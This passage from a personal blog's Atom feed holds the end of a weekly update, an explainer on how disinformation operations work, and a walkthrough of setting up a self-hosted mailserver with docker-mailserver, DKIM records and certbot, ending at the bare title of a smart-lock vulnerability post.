my&#xA;authorship of a truly mnml client in pure Bash. You can find it &lt;a href=&#34;https://github.com/icyphox/twsh&#34; rel=&#34;nofollow&#34;&gt;here&lt;/a&gt;.&#xA;It&amp;rsquo;s not entirely useable as of yet, but it&amp;rsquo;s definitely getting there, with the help&#xA;of &lt;a href=&#34;https://nerdypepper.me&#34; rel=&#34;nofollow&#34;&gt;@nerdypepper&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;other&#34;&gt;Other&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I have been listening to my usual podcasts: Crime Junkie, True Crime Garage,&#xA;Darknet Diaries &amp;amp; Off the Pill. To add to this list, I&amp;rsquo;ve begun binging Vice&amp;rsquo;s CYBER.&#xA;It&amp;rsquo;s pretty good&amp;mdash;each episode is only about 30 mins and it hits the sweet spot,&#xA;delvering both interesting security content and news.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My reading needs a ton of catching up. Hopefully I&amp;rsquo;ll get around to finishing up&#xA;&amp;ldquo;The Unending Game&amp;rdquo; this week. And then go back to &amp;ldquo;Terrorism and Counterintelligence&amp;rdquo;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I&amp;rsquo;ve begun learning Russian! I&amp;rsquo;m really liking it so far, and it&amp;rsquo;s been surprisingly&#xA;easy to pick up. Learning the Cyrillic script will require some relearning, especially&#xA;with letters like в, н, р, с, etc. that look like English but sound entirely different.&#xA;I think I&amp;rsquo;m pretty serious about learning this language&amp;mdash;I&amp;rsquo;ve added the Russian keyboard&#xA;to my Google Keyboard to aid in my familiarization of the alphabet. I&amp;rsquo;ve added the &lt;code&gt;RU&lt;/code&gt;&#xA;layout to my keyboard map too:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;setxkbmap -option &#39;grp:alt_shift_toggle&#39; -layout us,ru&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With that ends my weekly update, and I&amp;rsquo;ll see you next week!&lt;/p&gt;&#xA;</summary>
</entry>
<entry>
<title>Disinformation demystified</title>
<updated>2019-09-10T00:00:00Z</updated>
<id>tag:icyphox.sh/,2019-09-10:blog/disinfo</id>
<link href="https://icyphox.sh/blog/disinfo"></link>
<summary type="html">&lt;h2&gt;Misinformation, but deliberate&lt;/h2&gt;&#xA;&lt;p&gt;As with the disambiguation of any word, let&amp;rsquo;s start with its etymology and definiton.&#xA;According to &lt;a href=&#34;https://en.wikipedia.org/wiki/Disinformation&#34; rel=&#34;nofollow&#34;&gt;Wikipedia&lt;/a&gt;,&#xA;&lt;em&gt;disinformation&lt;/em&gt; has been borrowed from the Russian word &amp;mdash; &lt;em&gt;dezinformatisya&lt;/em&gt; (дезинформа́ция),&#xA;derived from the title of a KGB black propaganda department.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Disinformation is false information spread deliberately to deceive.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;To fully understand disinformation, especially in the modern age, we need to understand the&#xA;key factors of any successful disinformation operation:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;creating disinformation (what)&lt;/li&gt;&#xA;&lt;li&gt;the motivation behind the op, or its end goal (why)&lt;/li&gt;&#xA;&lt;li&gt;the medium used to disperse the falsified information (how)&lt;/li&gt;&#xA;&lt;li&gt;the actor (who)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;At the end, we&amp;rsquo;ll also look at how you can use disinformation techniques to maintain OPSEC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to break monotony, I will also be using the terms &amp;ldquo;information operation&amp;rdquo;, or the shortened&#xA;forms&amp;mdash;&amp;ldquo;info op&amp;rdquo; &amp;amp; &amp;ldquo;disinfo&amp;rdquo;.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;creating-disinformation&#34;&gt;Creating disinformation&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Crafting or creating disinformation is by no means a trivial task. Often, the quality&#xA;of any disinformation sample is a huge indicator of the level of sophistication of the&#xA;actor involved, i.e. is it a 12 year old troll or a nation state?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well crafted disinformation always has one primary characteristic &amp;mdash; &amp;ldquo;plausibility&amp;rdquo;.&#xA;The disinfo must sound reasonable. It must induce the notion it&amp;rsquo;s &lt;em&gt;likely&lt;/em&gt; true.&#xA;To achieve this, the target &amp;mdash; be it an individual, a specific demographic or an entire&#xA;nation &amp;mdash; must be well researched. A deep understanding of the target&amp;rsquo;s culture, history,&#xA;geography and psychology is required. It also needs circumstantial and situational awareness,&#xA;of the target.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are many forms of disinformation. A few common ones are staged videos / photographs,&#xA;recontextualized videos / photographs, blog posts, news articles &amp;amp; most recently &amp;mdash; deepfakes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here&amp;rsquo;s a tweet from &lt;a href=&#34;https://twitter.com/thegrugq&#34; rel=&#34;nofollow&#34;&gt;the grugq&lt;/a&gt;, showing a case of recontextualized&#xA;imagery:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;blockquote class=&#34;twitter-tweet&#34; data-dnt=&#34;true&#34; data-theme=&#34;dark&#34; data-link-color=&#34;#00ffff&#34;&gt;&#xA;&lt;p lang=&#34;en&#34; dir=&#34;ltr&#34;&gt;Disinformation.&#xA;&lt;br&gt;&lt;br&gt;&#xA;The content of the photo is not fake. The reality of what it captured is fake. The context its placed in is fake. The picture itself is 100% authentic. Everything, except the photo itself, is fake.&#xA;&lt;br&gt;&lt;br&gt;Recontextualisation as threat vector.&#xA;&lt;a href=&#34;https://t.co/Pko3f0xkXC&#34;&gt;pic.twitter.com/Pko3f0xkXC&lt;/a&gt;&#xA;&lt;/p&gt;&amp;mdash; thaddeus e. grugq (@thegrugq)&#xA;&lt;a href=&#34;https://twitter.com/thegrugq/status/1142759819020890113?ref_src=twsrc%5Etfw&#34;&gt;June 23, 2019&lt;/a&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;script async src=&#34;https://platform.twitter.com/widgets.js&#34; charset=&#34;utf-8&#34;&gt;&lt;/script&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;motivations-behind-an-information-operation&#34;&gt;Motivations behind an information operation&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I like to broadly categorize any info op as either proactive or reactive.&#xA;Proactively, disinformation is spread with the desire to influence the target&#xA;either before or during the occurence of an event. This is especially observed&#xA;during elections.&lt;sup class=&#34;footnote-ref&#34; id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;&#xA;In offensive information operations, the target&amp;rsquo;s psychological state can be affected by&#xA;spreading &lt;strong&gt;fear, uncertainty &amp;amp; doubt&lt;/strong&gt;, or FUD for short.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reactive disinformation is when the actor, usually a nation state in this case,&#xA;screws up and wants to cover their tracks. A fitting example of this is the case&#xA;of Malaysian Airlines Flight 17 (MH17), which was shot down while flying over&#xA;eastern Ukraine. This tragic incident has been attributed to Russian-backed&#xA;separatists.&lt;sup class=&#34;footnote-ref&#34; id=&#34;fnref:2&#34;&gt;&lt;a href=&#34;#fn:2&#34;&gt;2&lt;/a&gt;&lt;/sup&gt;&#xA;Russian media is known to have desseminated a number of alternative &amp;amp; some even&#xA;conspiratorial theories&lt;sup class=&#34;footnote-ref&#34; id=&#34;fnref:3&#34;&gt;&lt;a href=&#34;#fn:3&#34;&gt;3&lt;/a&gt;&lt;/sup&gt;, in response. The number grew as the JIT&amp;rsquo;s (Dutch-lead Joint&#xA;Investigation Team) investigations pointed towards the separatists.&#xA;The idea was to &lt;strong&gt;muddle the information&lt;/strong&gt; space with these theories, and as a result,&#xA;potentially correct information takes a credibility hit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another motive for an info op is to &lt;strong&gt;control the narrative&lt;/strong&gt;. This is often seen in use&#xA;in totalitarian regimes; when the government decides what the media portrays to the&#xA;masses. The ongoing Hong Kong protests is a good example.&lt;sup class=&#34;footnote-ref&#34; id=&#34;fnref:4&#34;&gt;&lt;a href=&#34;#fn:4&#34;&gt;4&lt;/a&gt;&lt;/sup&gt; According to &lt;a href=&#34;https://www.npr.org/2019/08/14/751039100/china-state-media-present-distorted-version-of-hong-kong-protests&#34; rel=&#34;nofollow&#34;&gt;NPR&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Official state media pin the blame for protests on the &amp;ldquo;black hand&amp;rdquo; of foreign interference,&#xA;namely from the United States, and what they have called criminal Hong Kong thugs.&#xA;A popular conspiracy theory posits the CIA incited and funded the Hong Kong protesters,&#xA;who are demanding an end to an extradition bill with China and the ability to elect their own leader.&#xA;Fueling this theory, China Daily, a state newspaper geared toward a younger, more cosmopolitan audience,&#xA;this week linked to a video purportedly showing Hong Kong protesters using American-made grenade launchers to combat police.&#xA;&amp;hellip;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;h2 id=&#34;media-used-to-disperse-disinfo&#34;&gt;Media used to disperse disinfo&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;As seen in the above example of totalitarian governments, national TV and newspaper agencies&#xA;play a key role in influence ops en masse. It guarantees outreach due to the channel/paper&amp;rsquo;s&#xA;popularity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Twitter is another, obvious example. Due to the ease of creating accounts and the ability to&#xA;generate activity programmatically via the API, Twitter bots are the go-to choice today for&#xA;info ops. Essentially, an actor attempts to create &amp;ldquo;discussions&amp;rdquo; amongst &amp;ldquo;users&amp;rdquo; (read: bots),&#xA;to push their narrative(s). Twitter also provides analytics for every tweet, enabling actors to&#xA;get realtime insights into what sticks and what doesn&amp;rsquo;t.&#xA;The use of Twitter was seen during the previously discussed MH17 case, where Russia employed its troll&#xA;factory &amp;mdash; the &lt;a href=&#34;https://en.wikipedia.org/wiki/Internet_Research_Agency&#34; rel=&#34;nofollow&#34;&gt;Internet Research Agency&lt;/a&gt; (IRA)&#xA;to create discussions about alternative theories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In India, disinformation is often spread via YouTube, WhatsApp and Facebook. Political parties&#xA;actively invest in creating group chats to spread political messages and memes. These parties&#xA;have volunteers whose sole job is to sit and forward messages.&#xA;Apart from political propaganda, WhatsApp finds itself as a medium of fake news. In most cases,&#xA;this is disinformation without a motive, or the motive is hard to determine simply because&#xA;the source is impossible to trace, lost in forwards.&lt;sup class=&#34;footnote-ref&#34; id=&#34;fnref:5&#34;&gt;&lt;a href=&#34;#fn:5&#34;&gt;5&lt;/a&gt;&lt;/sup&gt;&#xA;This is a difficult problem to combat, especially given the nature of the target audience.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;the-actors-behind-disinfo-campaigns&#34;&gt;The actors behind disinfo campaigns&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I doubt this requires further elaboration, but in short:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;nation states and their intelligence agencies&lt;/li&gt;&#xA;&lt;li&gt;governments, political parties&lt;/li&gt;&#xA;&lt;li&gt;other non/quasi-governmental groups&lt;/li&gt;&#xA;&lt;li&gt;trolls&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This essentially sums up the what, why, how and who of disinformation.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;personal-opsec&#34;&gt;Personal OPSEC&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This is a fun one. Now, it&amp;rsquo;s common knowledge that&#xA;&lt;strong&gt;STFU is the best policy&lt;/strong&gt;. But sometimes, this might not be possible, because&#xA;afterall inactivity leads to suspicion, and suspicion leads to scrutiny. Which might&#xA;lead to your OPSEC being compromised.&#xA;So if you really have to, you can feign activity using disinformation. For example,&#xA;pick a place, and throw in subtle details pertaining to the weather, local events&#xA;or regional politics of that place into your disinfo. Assuming this is Twitter, you can&#xA;tweet stuff like:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&amp;ldquo;Ugh, when will this hot streak end?!&amp;rdquo;&lt;/li&gt;&#xA;&lt;li&gt;&amp;ldquo;Traffic wonky because of the Mardi Gras parade.&amp;rdquo;&lt;/li&gt;&#xA;&lt;li&gt;&amp;ldquo;Woah, XYZ place is nice! Especially the fountains by ABC street.&amp;rdquo;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Of course, if you&amp;rsquo;re a nobody on Twitter (like me), this is a non-issue for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And please, don&amp;rsquo;t do this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&#34;https://cdn.icyphox.sh/gqoHr.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;conclusion&#34;&gt;Conclusion&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The ability to influence someone&amp;rsquo;s decisions/thought process in just one tweet is&#xA;scary. There is no simple way to combat disinformation. Social media is hard to control.&#xA;Just like anything else in cyber, this too is an endless battle between social media corps&#xA;and motivated actors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A huge shoutout to Bellingcat for their extensive research in this field, and for helping&#xA;folks see the truth in a post-truth world.&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;footnotes&#34;&gt;&#xA;&#xA;&lt;hr /&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li id=&#34;fn:1&#34;&gt;&lt;a href=&#34;https://www.vice.com/en_us/article/ev3zmk/an-expert-explains-the-many-ways-our-elections-can-be-hacked&#34; rel=&#34;nofollow&#34;&gt;This&lt;/a&gt; episode of CYBER talks about election influence ops (features the grugq!). &lt;a class=&#34;footnote-return&#34; href=&#34;#fnref:1&#34;&gt;&lt;span aria-label=&#39;Return&#39;&gt;↩︎&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&#xA;&lt;li id=&#34;fn:2&#34;&gt;The &lt;a href=&#34;https://www.bellingcat.com/category/resources/podcasts/&#34; rel=&#34;nofollow&#34;&gt;Bellingcat Podcast&lt;/a&gt;&amp;rsquo;s season one covers the MH17 investigation in detail. &lt;a class=&#34;footnote-return&#34; href=&#34;#fnref:2&#34;&gt;&lt;span aria-label=&#39;Return&#39;&gt;↩︎&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&#xA;&lt;li id=&#34;fn:3&#34;&gt;&lt;a href=&#34;https://en.wikipedia.org/wiki/Malaysia_Airlines_Flight_17#Conspiracy_theories&#34; rel=&#34;nofollow&#34;&gt;Wikipedia section on MH17 conspiracy theories&lt;/a&gt; &lt;a class=&#34;footnote-return&#34; href=&#34;#fnref:3&#34;&gt;&lt;span aria-label=&#39;Return&#39;&gt;↩︎&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&#xA;&lt;li id=&#34;fn:4&#34;&gt;&lt;a href=&#34;https://twitter.com/gdead/status/1171032265629032450&#34; rel=&#34;nofollow&#34;&gt;Chinese newspaper spreading disinfo&lt;/a&gt; &lt;a class=&#34;footnote-return&#34; href=&#34;#fnref:4&#34;&gt;&lt;span aria-label=&#39;Return&#39;&gt;↩︎&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&#xA;&lt;li id=&#34;fn:5&#34;&gt;Use an adblocker before clicking &lt;a href=&#34;https://www.news18.com/news/tech/fake-whatsapp-message-of-child-kidnaps-causing-mob-violence-in-madhya-pradesh-2252015.html&#34; rel=&#34;nofollow&#34;&gt;this&lt;/a&gt;. &lt;a class=&#34;footnote-return&#34; href=&#34;#fnref:5&#34;&gt;&lt;span aria-label=&#39;Return&#39;&gt;↩︎&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;/div&gt;&#xA;</summary>
</entry>
<entry>
<title>Setting up my personal mailserver</title>
<updated>2019-08-15T00:00:00Z</updated>
<id>tag:icyphox.sh/,2019-08-15:blog/mailserver</id>
<link href="https://icyphox.sh/blog/mailserver"></link>
<summary type="html">&lt;h2&gt;This is probably a terrible idea…&lt;/h2&gt;&#xA;&lt;p&gt;A mailserver was a long time coming. I&amp;rsquo;d made an attempt at setting one up&#xA;around ~4 years ago (ish), and IIRC, I quit when it came to DNS. And&#xA;I almost did this time too.&lt;sup class=&#34;footnote-ref&#34; id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this attempt, I wanted a simpler approach. I recall how terribly&#xA;confusing Dovecot &amp;amp; Postfix were to configure and hence I decided to look&#xA;for a containerized solution, that most importantly, runs on my cheap $5&#xA;Digital Ocean VPS &amp;mdash; 1 vCPU and 1 GB memory. Of which only around 500 MB&#xA;is actually available. So yeah, &lt;em&gt;pretty&lt;/em&gt; tight.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;what-s-available&#34;&gt;What&amp;rsquo;s available&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Turns out, there are quite a few of these OOTB, ready to deply solutions.&#xA;These are the ones I came across:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://poste.io&#34; rel=&#34;nofollow&#34;&gt;poste.io&lt;/a&gt;: Based on an &amp;ldquo;open core&amp;rdquo; model. The base install is open source&#xA;and free (as in beer), but you&amp;rsquo;ll have to pay for the extra stuff.&lt;/p&gt;&lt;/li&gt;&#xA;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://mailu.io&#34; rel=&#34;nofollow&#34;&gt;mailu.io&lt;/a&gt;: Free software. Draws inspiration from poste.io,&#xA;but ships with a web UI that I didn&amp;rsquo;t need.&lt;/p&gt;&lt;/li&gt;&#xA;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://mailcow.email&#34; rel=&#34;nofollow&#34;&gt;mailcow.email&lt;/a&gt;: These fancy domains are getting ridiculous. But more importantly&#xA;they need 2 GiB of RAM &lt;em&gt;plus&lt;/em&gt; swap?! Nope.&lt;/p&gt;&lt;/li&gt;&#xA;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://mailinabox.email&#34; rel=&#34;nofollow&#34;&gt;Mail-in-a-Box&lt;/a&gt;: Unlike the ones above, not a Docker-based solution but definitely worth&#xA;a mention. It however, needs a fresh box to work with. A box with absolutely&#xA;nothing else on it. I can&amp;rsquo;t afford to do that.&lt;/p&gt;&lt;/li&gt;&#xA;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://github.com/tomav/docker-mailserver/&#34; rel=&#34;nofollow&#34;&gt;docker-mailserver&lt;/a&gt;: &lt;strong&gt;The winner&lt;/strong&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2 id=&#34;so-docker-mailserver&#34;&gt;So… &lt;code&gt;docker-mailserver&lt;/code&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The first thing that caught my eye in the README:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Recommended:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;1 CPU&lt;/li&gt;&#xA;&lt;li&gt;1GB RAM&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Minimum:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;1 CPU&lt;/li&gt;&#xA;&lt;li&gt;512MB RAM&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Fantastic, I can somehow squeeze this into my existing VPS.&#xA;Setup was fairly simple &amp;amp; the docs are pretty good. It employs a single&#xA;&lt;code&gt;.env&lt;/code&gt; file for configuration, which is great.&#xA;However, I did run into a couple of hiccups here and there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One especially nasty one was &lt;code&gt;docker&lt;/code&gt; / &lt;code&gt;docker-compose&lt;/code&gt; running out&#xA;of memory.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error response from daemon: cannot stop container: 2377e5c0b456: Cannot kill container 2377e5c0b456226ecaa66a5ac18071fc5885b8a9912feeefb07593638b9a40d1: OCI runtime state failed: runc did not terminate sucessfully: fatal error: runtime: out of memory&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it eventually worked after a couple of attempts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The next thing I struggled with &amp;mdash; DNS. Specifically, the with the step where&#xA;the DKIM keys are generated&lt;sup class=&#34;footnote-ref&#34; id=&#34;fnref:2&#34;&gt;&lt;a href=&#34;#fn:2&#34;&gt;2&lt;/a&gt;&lt;/sup&gt;. The output under&lt;br /&gt;&#xA;&lt;code&gt;config/opendkim/keys/domain.tld/mail.txt&lt;/code&gt;&lt;br /&gt;&#xA;isn&amp;rsquo;t exactly CloudFlare friendly; they can&amp;rsquo;t be directly copy-pasted into&#xA;a &lt;code&gt;TXT&lt;/code&gt; record.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what it looks like.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mail._domainkey&#x9;IN&#x9;TXT&#x9;( &amp;quot;v=DKIM1; h=sha256; k=rsa; &amp;quot;&#xA;&#x9; &amp;quot;p=&amp;lt;key&amp;gt;&amp;quot;&#xA;&#x9; &amp;quot;&amp;lt;more key&amp;gt;&amp;quot; ) ; -- -- DKIM key mail for icyphox.sh&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But while configuring the record, you set &amp;ldquo;Type&amp;rdquo; to &lt;code&gt;TXT&lt;/code&gt;, &amp;ldquo;Name&amp;rdquo; to &lt;code&gt;mail._domainkey&lt;/code&gt;,&#xA;and the &amp;ldquo;Value&amp;rdquo; to what&amp;rsquo;s inside the parenthesis &lt;code&gt;( )&lt;/code&gt;, &lt;em&gt;removing&lt;/em&gt; the quotes &lt;code&gt;&amp;quot;&amp;quot;&lt;/code&gt;.&#xA;Also remove the part that appears to be a comment &lt;code&gt;; -- -- ...&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To simplify debugging DNS issues later, it&amp;rsquo;s probably a good idea to&#xA;point to your mailserver using a subdomain like &lt;code&gt;mail.domain.tld&lt;/code&gt; using an&#xA;&lt;code&gt;A&lt;/code&gt; record.&#xA;You&amp;rsquo;ll then have to set an &lt;code&gt;MX&lt;/code&gt; record with the &amp;ldquo;Name&amp;rdquo; as &lt;code&gt;@&lt;/code&gt; (or whatever your DNS provider&#xA;uses to denote the root domain) and the &amp;ldquo;Value&amp;rdquo; to &lt;code&gt;mail.domain.tld&lt;/code&gt;.&#xA;And finally, the &lt;code&gt;PTR&lt;/code&gt; (pointer record, I think), which is the reverse of&#xA;your &lt;code&gt;A&lt;/code&gt; record &amp;mdash; &amp;ldquo;Name&amp;rdquo; as the server IP and &amp;ldquo;Value&amp;rdquo; as &lt;code&gt;mail.domain.tld&lt;/code&gt;.&#xA;I learnt this part the hard way, when my outgoing email kept getting&#xA;rejected by Tutanota&amp;rsquo;s servers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yet another hurdle &amp;mdash; SSL/TLS certificates. This isn&amp;rsquo;t very properly&#xA;documented, unless you read through the &lt;a href=&#34;https://github.com/tomav/docker-mailserver/wiki/Installation-Examples&#34; rel=&#34;nofollow&#34;&gt;wiki&lt;/a&gt;&#xA;and look at an example. In short, install &lt;code&gt;certbot&lt;/code&gt;, have port 80 free,&#xA;and run&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ certbot certonly --standalone -d mail.domain.tld&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once that&amp;rsquo;s done, edit the &lt;code&gt;docker-compose.yml&lt;/code&gt; file to mount &lt;code&gt;/etc/letsencrypt&lt;/code&gt; in&#xA;the container, something like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;...&#xA;&#xA;volumes:&#xA; - maildata:/var/mail&#xA; - mailstate:/var/mail-state&#xA; - ./config/:/tmp/docker-mailserver/&#xA; - /etc/letsencrypt:/etc/letsencrypt&#xA;&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With this done, you shouldn&amp;rsquo;t have mail clients complaining about&#xA;wonky certs for which you&amp;rsquo;ll have to add an exception manually.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;why-would-you&#34;&gt;Why would you…?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;There are a few good reasons for this:&lt;/p&gt;&#xA;&#xA;&lt;h3 id=&#34;privacy&#34;&gt;Privacy&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;No really, this is &lt;em&gt;the&lt;/em&gt; best choice for truly private&#xA;email. Not ProtonMail, not Tutanota. Sure, they claim so and I don&amp;rsquo;t&#xA;dispute it. Quoting Drew Devault&lt;sup class=&#34;footnote-ref&#34; id=&#34;fnref:3&#34;&gt;&lt;a href=&#34;#fn:3&#34;&gt;3&lt;/a&gt;&lt;/sup&gt;,&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Truly secure systems do not require you to trust the service provider.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But you have to &lt;em&gt;trust&lt;/em&gt; ProtonMail. They run open source software, but&#xA;how can you really be sure that it isn&amp;rsquo;t a backdoored version of it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you host your own mailserver, you truly own your email without having to rely on any&#xA;third-party.&#xA;This isn&amp;rsquo;t an attempt to spread FUD. In the end, it all depends on your&#xA;threat model™.&lt;/p&gt;&#xA;&#xA;&lt;h3 id=&#34;decentralization&#34;&gt;Decentralization&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Email today is basically run by Google. Gmail has over 1.2 &lt;em&gt;billion&lt;/em&gt;&#xA;active users. That&amp;rsquo;s obscene.&#xA;Email was designed to be decentralized but big corps swooped in and&#xA;made it a product. They now control your data, and it isn&amp;rsquo;t unknown that&#xA;Google reads your mail. This again loops back to my previous point, privacy.&#xA;Decentralization guarantees privacy. When you control your mail, you subsequently&#xA;control who reads it.&lt;/p&gt;&#xA;&#xA;&lt;h3 id=&#34;personalization&#34;&gt;Personalization&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Can&amp;rsquo;t ignore this one. It&amp;rsquo;s cool to have a custom email address to flex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;x@icyphox.sh&lt;/code&gt; vs &lt;code&gt;gabe.newell4321@gmail.com&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pfft, this is no competition.&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;footnotes&#34;&gt;&#xA;&#xA;&lt;hr /&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li id=&#34;fn:1&#34;&gt;My &lt;a href=&#34;https://twitter.com/icyphox/status/1161648321548566528&#34; rel=&#34;nofollow&#34;&gt;tweet&lt;/a&gt; of frustration. &lt;a class=&#34;footnote-return&#34; href=&#34;#fnref:1&#34;&gt;&lt;span aria-label=&#39;Return&#39;&gt;↩︎&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&#xA;&lt;li id=&#34;fn:2&#34;&gt;&lt;a href=&#34;https://github.com/tomav/docker-mailserver#generate-dkim-keys&#34; rel=&#34;nofollow&#34;&gt;Link&lt;/a&gt; to step in the docs. &lt;a class=&#34;footnote-return&#34; href=&#34;#fnref:2&#34;&gt;&lt;span aria-label=&#39;Return&#39;&gt;↩︎&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&#xA;&lt;li id=&#34;fn:3&#34;&gt;From his &lt;a href=&#34;https://drewdevault.com/2018/08/08/Signal.html&#34; rel=&#34;nofollow&#34;&gt;article&lt;/a&gt; on why he doesn&amp;rsquo;t trust Signal. &lt;a class=&#34;footnote-return&#34; href=&#34;#fnref:3&#34;&gt;&lt;span aria-label=&#39;Return&#39;&gt;↩︎&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;/div&gt;&#xA;</summary>
</entry>
<entry>
<title>Picking the FB50 smart lock (CVE-2019-13143)</title>
<updated>2019-08-05T00:00:00Z</updated>
<id>tag:icyphox.sh/,2019-08-05:blog/fb50</id>
<link href="https://icyphox.sh/blog/fb50"></link>
